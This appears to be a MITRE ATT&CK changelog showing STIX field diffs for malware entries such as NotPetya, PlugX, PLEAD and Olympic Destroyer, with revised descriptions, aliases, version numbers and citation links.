| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:56:50.734000+00:00 | 2021-04-12 03:16:03.258000+00:00 |
| description | [Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014) | [Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020) |
| external_references[2]['source_name'] | ESET Machete July 2019 | Pyark |
| external_references[2]['description'] | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. | (Citation: 360 Machete Sep 2020) |
| external_references[3]['source_name'] | Securelist Machete Aug 2014 | ESET Machete July 2019 |
| external_references[3]['description'] | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. |
| external_references[3]['url'] | https://securelist.com/el-machete/66108/ | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Securelist Machete Aug 2014', 'description': 'Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.', 'url': 'https://securelist.com/el-machete/66108/'} | |
| external_references | {'source_name': '360 Machete Sep 2020', 'description': 'kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.', 'url': 'https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/'} | |
| x_mitre_aliases | Pyark |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Matroyshka](https://attack.mitre.org/software/S0167) is a m | t | 1 | [Matryoshka](https://attack.mitre.org/software/S0167) is a m |
| > | alware framework used by [CopyKittens](https://attack.mitre. | > | alware framework used by [CopyKittens](https://attack.mitre. | ||
| > | org/groups/G0052) that consists of a dropper, loader, and RA | > | org/groups/G0052) that consists of a dropper, loader, and RA | ||
| > | T. It has multiple versions; v1 was seen in the wild from Ju | > | T. It has multiple versions; v1 was seen in the wild from Ju | ||
| > | ly 2016 until January 2017. v2 has fewer commands and other | > | ly 2016 until January 2017. v2 has fewer commands and other | ||
| > | minor differences. (Citation: ClearSky Wilted Tulip July 201 | > | minor differences. (Citation: ClearSky Wilted Tulip July 201 | ||
| > | 7) (Citation: CopyKittens Nov 2015) | > | 7) (Citation: CopyKittens Nov 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:02:21.114000+00:00 | 2021-04-23 20:13:32.050000+00:00 |
| name | Matroyshka | Matryoshka |
| description | [Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015) | [Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015) |
| external_references[1]['source_name'] | Matroyshka | Matryoshka |
| x_mitre_aliases[0] | Matroyshka | Matryoshka |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Metamorfo](https://attack.mitre.org/software/S0455) is a ba | t | 1 | [Metamorfo](https://attack.mitre.org/software/S0455) is a La |
| > | nking trojan operated by a Brazilian cybercrime group that h | > | tin-American banking trojan operated by a Brazilian cybercri | ||
| > | as been active since at least April 2018. The group focuses | > | me group that has been active since at least April 2018. The | ||
| > | on targeting mostly Brazilian users.(Citation: Medium Metamo | > | group focuses on targeting banks and cryptocurrency service | ||
| > | rfo Apr 2020) | > | s in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020) | ||
| > | (Citation: ESET Casbaneiro Oct 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 01:34:57.793000+00:00 | 2021-09-27 19:32:33.491000+00:00 |
| description | [Metamorfo](https://attack.mitre.org/software/S0455) is a banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting mostly Brazilian users.(Citation: Medium Metamorfo Apr 2020) | [Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) |
| external_references[1]['description'] | (Citation: Medium Metamorfo Apr 2020) | (Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) |
| external_references[2]['source_name'] | Medium Metamorfo Apr 2020 | Casbaneiro |
| external_references[2]['description'] | Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020. | (Citation: ESET Casbaneiro Oct 2019) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Metamorfo Apr 2020', 'description': 'Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.', 'url': 'https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767'} | |
| external_references | {'source_name': 'ESET Casbaneiro Oct 2019', 'description': 'ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.', 'url': 'https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/'} | |
| x_mitre_aliases | Casbaneiro | |
| x_mitre_contributors | Jose Luis Sánchez Martinez |
Current version: 3.0
Version changed from: 2.1 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:06:07.337000+00:00 | 2021-04-23 19:15:17.339000+00:00 |
| external_references[1]['description'] | (Citation: Talos Cobalt Group July 2018) | (Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020) |
| external_references[2]['source_name'] | Terra Loader | SKID |
| external_references[2]['description'] | (Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019) | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | SpicyOmelette | Terra Loader |
| external_references[3]['description'] | (Citation: Security Intelligence More Eggs Aug 2019) | (Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019) |
| external_references[4]['source_name'] | Talos Cobalt Group July 2018 | SpicyOmelette |
| external_references[4]['description'] | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. | (Citation: Security Intelligence More Eggs Aug 2019) |
| external_references[5]['source_name'] | Security Intelligence More Eggs Aug 2019 | Talos Cobalt Group July 2018 |
| external_references[5]['description'] | Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019. | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. |
| external_references[5]['url'] | https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/ | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| external_references[6]['source_name'] | Visa FIN6 Feb 2019 | Security Intelligence More Eggs Aug 2019 |
| external_references[6]['description'] | Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019. | Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019. |
| external_references[6]['url'] | https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf | https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET EvilNum July 2020', 'description': 'Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.', 'url': 'https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} | |
| external_references | {'source_name': 'Visa FIN6 Feb 2019', 'description': 'Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.', 'url': 'https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf'} | |
| x_mitre_aliases | SKID |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa | t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa |
| > | re that was first seen in a worldwide attack starting on Jun | > | re that was used by [Sandworm Team](https://attack.mitre.org | ||
| > | e 27, 2017. The main purpose of the malware appeared to be t | > | /groups/G0034) in a worldwide attack starting on June 27, 20 | ||
| > | o effectively destroy data and disk structures on compromise | > | 17. While [NotPetya](https://attack.mitre.org/software/S0368 | ||
| > | d systems. Though [NotPetya](https://attack.mitre.org/softwa | > | ) appears as a form of ransomware, its main purpose was to d | ||
| > | re/S0368) presents itself as a form of ransomware, it appear | > | estroy data and disk structures on compromised systems; the | ||
| > | s likely that the attackers never intended to make the encry | > | attackers never intended to make the encrypted data recovera | ||
| > | pted data recoverable. As such, [NotPetya](https://attack.mi | > | ble. As such, [NotPetya](https://attack.mitre.org/software/S | ||
| > | tre.org/software/S0368) may be more appropriately thought of | > | 0368) may be more appropriately thought of as a form of wipe | ||
| > | as a form of wiper malware. [NotPetya](https://attack.mitre | > | r malware. [NotPetya](https://attack.mitre.org/software/S036 | ||
| > | .org/software/S0368) contains worm-like features to spread i | > | 8) contains worm-like features to spread itself across a com | ||
| > | tself across a computer network using the SMBv1 exploits Ete | > | puter network using the SMBv1 exploits EternalBlue and Etern | ||
| > | rnalBlue and EternalRomance.(Citation: Talos Nyetya June 201 | > | alRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CE | ||
| > | 7)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPe | > | RT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citatio | ||
| > | tya 2017)(Citation: ESET Telebots June 2017) | > | n: US District Court Indictment GRU Unit 74455 October 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:27:49.511000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
| description | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017) | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Octopus](https://attack.mitre.org/software/S0340) is a Wind | t | 1 | [Octopus](https://attack.mitre.org/software/S0340) is a Wind |
| > | ows Trojan.(Citation: Securelist Octopus Oct 2018) | > | ows Trojan written in the Delphi programming language that h | ||
| > | as been used by [Nomadic Octopus](https://attack.mitre.org/g | ||||
| > | roups/G0133) to target government organizations in Central A | ||||
| > | sia since at least 2014.(Citation: Securelist Octopus Oct 20 | ||||
| > | 18)(Citation: Security Affairs DustSquad Oct 2018)(Citation: | ||||
| > | ESET Nomadic Octopus 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:57:08.610000+00:00 | 2022-04-06 17:15:58.173000+00:00 |
| description | [Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018) | [Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) |
| external_references[1]['description'] | (Citation: Securelist Octopus Oct 2018) | (Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) |
| external_references[2]['source_name'] | Securelist Octopus Oct 2018 | ESET Nomadic Octopus 2018 |
| external_references[2]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. | Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021. |
| external_references[2]['url'] | https://securelist.com/octopus-infested-seas-of-central-asia/88200/ | https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Securelist Octopus Oct 2018', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", 'url': 'https://securelist.com/octopus-infested-seas-of-central-asia/88200/'} | |
| external_references | {'source_name': 'Security Affairs DustSquad Oct 2018', 'description': 'Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.', 'url': 'https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Olympic Destroyer](https://attack.mitre.org/software/S0365) | t | 1 | [Olympic Destroyer](https://attack.mitre.org/software/S0365) |
| > | is malware that was first seen infecting computer systems a | > | is malware that was used by [Sandworm Team](https://attack. | ||
| > | t the 2018 Winter Olympics, held in Pyeongchang, South Korea | > | mitre.org/groups/G0034) against the 2018 Winter Olympics, he | ||
| > | . The main purpose of the malware appears to be to cause des | > | ld in Pyeongchang, South Korea. The main purpose of the malw | ||
| > | tructive impact to the affected systems. The malware leverag | > | are was to render infected computer systems inoperable. The | ||
| > | es various native Windows utilities and API calls to carry o | > | malware leverages various native Windows utilities and API c | ||
| > | ut its destructive tasks. The malware has worm-like features | > | alls to carry out its destructive tasks. [Olympic Destroyer] | ||
| > | to spread itself across a computer network in order to maxi | > | (https://attack.mitre.org/software/S0365) has worm-like feat | ||
| > | mize its destructive impact.(Citation: Talos Olympic Destroy | > | ures to spread itself across a computer network in order to | ||
| > | er 2018) | > | maximize its destructive impact.(Citation: Talos Olympic Des | ||
| > | troyer 2018)(Citation: US District Court Indictment GRU Unit | ||||
| > | 74455 October 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 17:57:57.273000+00:00 | 2021-04-23 19:32:38.936000+00:00 |
| description | [Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) | [Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PLEAD](https://attack.mitre.org/software/S0435) is a remote | t | 1 | [PLEAD](https://attack.mitre.org/software/S0435) is a remote |
| > | access tool (RAT) and downloader used by [BlackTech](https: | > | access tool (RAT) and downloader used by [BlackTech](https: | ||
| > | //attack.mitre.org/groups/G0098) in targeted attacks in East | > | //attack.mitre.org/groups/G0098) in targeted attacks in East | ||
| > | Asia including Taiwan, Japan, and Hong Kong.(Citation: Tren | > | Asia including Taiwan, Japan, and Hong Kong.(Citation: Tren | ||
| > | dMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloade | > | dMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloade | ||
| > | r June 2018) [PLEAD](https://attack.mitre.org/software/S0435 | > | r June 2018) [PLEAD](https://attack.mitre.org/software/S0435 | ||
| > | ) has also been referred to as [TSCookie](https://attack.mit | > | ) has also been referred to as [TSCookie](https://attack.mit | ||
| > | re.org/software/S0436), though more recent reporting indicat | > | re.org/software/S0436), though more recent reporting indicat | ||
| > | es likely separation between the two.(Citation: JPCert TSCoo | > | es likely separation between the two. [PLEAD](https://attack | ||
| > | kie March 2018)(Citation: JPCert PLEAD Downloader June 2018) | > | .mitre.org/software/S0435) was observed in use as early as M | ||
| > | > | arch 2017.(Citation: JPCert TSCookie March 2018)(Citation: J | |||
| > | PCert PLEAD Downloader June 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:44:16.182000+00:00 | 2022-04-15 11:32:25.173000+00:00 |
| description | [PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) | [PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) |
| external_references[1]['source_name'] | PLEAD | Trend Micro PLEAD RTLO |
| external_references[1]['description'] | PLEAD derived its name from letters used in backdoor commands in intrusion campaigns.(Citation: Trend Micro PLEAD RTLO) | Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019. |
| external_references[3]['source_name'] | JPCert PLEAD Downloader June 2018 | PLEAD |
| external_references[3]['description'] | Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. | PLEAD derived its name from letters used in backdoor commands in intrusion campaigns.(Citation: Trend Micro PLEAD RTLO)(Citation: TrendMicro BlackTech June 2017) |
| external_references[4]['source_name'] | JPCert TSCookie March 2018 | JPCert PLEAD Downloader June 2018 |
| external_references[4]['description'] | Tomonaga, S.. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. | Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. |
| external_references[5]['source_name'] | Trend Micro PLEAD RTLO | JPCert TSCookie March 2018 |
| external_references[5]['description'] | Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019. | Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. |
| external_references[5]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Hannah Simes, BT Security |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PlugX](https://attack.mitre.org/software/S0013) is a remote | t | 1 | [PlugX](https://attack.mitre.org/software/S0013) is a remote |
| > | access tool (RAT) that uses modular plugins. It has been us | > | access tool (RAT) with modular plugins that has been used b | ||
| > | ed by multiple threat groups. (Citation: Lastline PlugX Anal | > | y multiple threat groups.(Citation: Lastline PlugX Analysis) | ||
| > | ysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: | > | (Citation: FireEye Clandestine Fox Part 2)(Citation: New Dra | ||
| > | New DragonOK) (Citation: Dell TG-3390) | > | gonOK)(Citation: Dell TG-3390) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://labs.lastline.com/an-analysis-of-plugx | |
| external_references | https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 21:43:42.587000+00:00 | 2022-04-15 16:30:28.192000+00:00 |
| description | [PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390) | [PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390) |
| external_references[1]['source_name'] | PlugX | DestroyRAT |
| external_references[1]['description'] | (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013) | (Citation: CIRCL PlugX March 2013) |
| external_references[2]['source_name'] | DestroyRAT | Kaba |
| external_references[2]['description'] | (Citation: CIRCL PlugX March 2013) | (Citation: FireEye Clandestine Fox Part 2) |
| external_references[3]['source_name'] | Sogu | PlugX |
| external_references[4]['source_name'] | Kaba | Korplug |
| external_references[4]['description'] | (Citation: FireEye Clandestine Fox Part 2) | (Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013) |
| external_references[5]['source_name'] | Korplug | Sogu |
| external_references[5]['description'] | (Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013) | (Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013) |
| external_references[6]['source_name'] | Lastline PlugX Analysis | Thoper |
| external_references[6]['description'] | Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015. | (Citation: Novetta-Axiom) |
| external_references[7]['source_name'] | FireEye Clandestine Fox Part 2 | TVT |
| external_references[7]['description'] | Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016. | (Citation: Novetta-Axiom) |
| external_references[8]['source_name'] | New DragonOK | CIRCL PlugX March 2013 |
| external_references[8]['description'] | Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015. | Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ | http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf |
| external_references[10]['source_name'] | CIRCL PlugX March 2013 | New DragonOK |
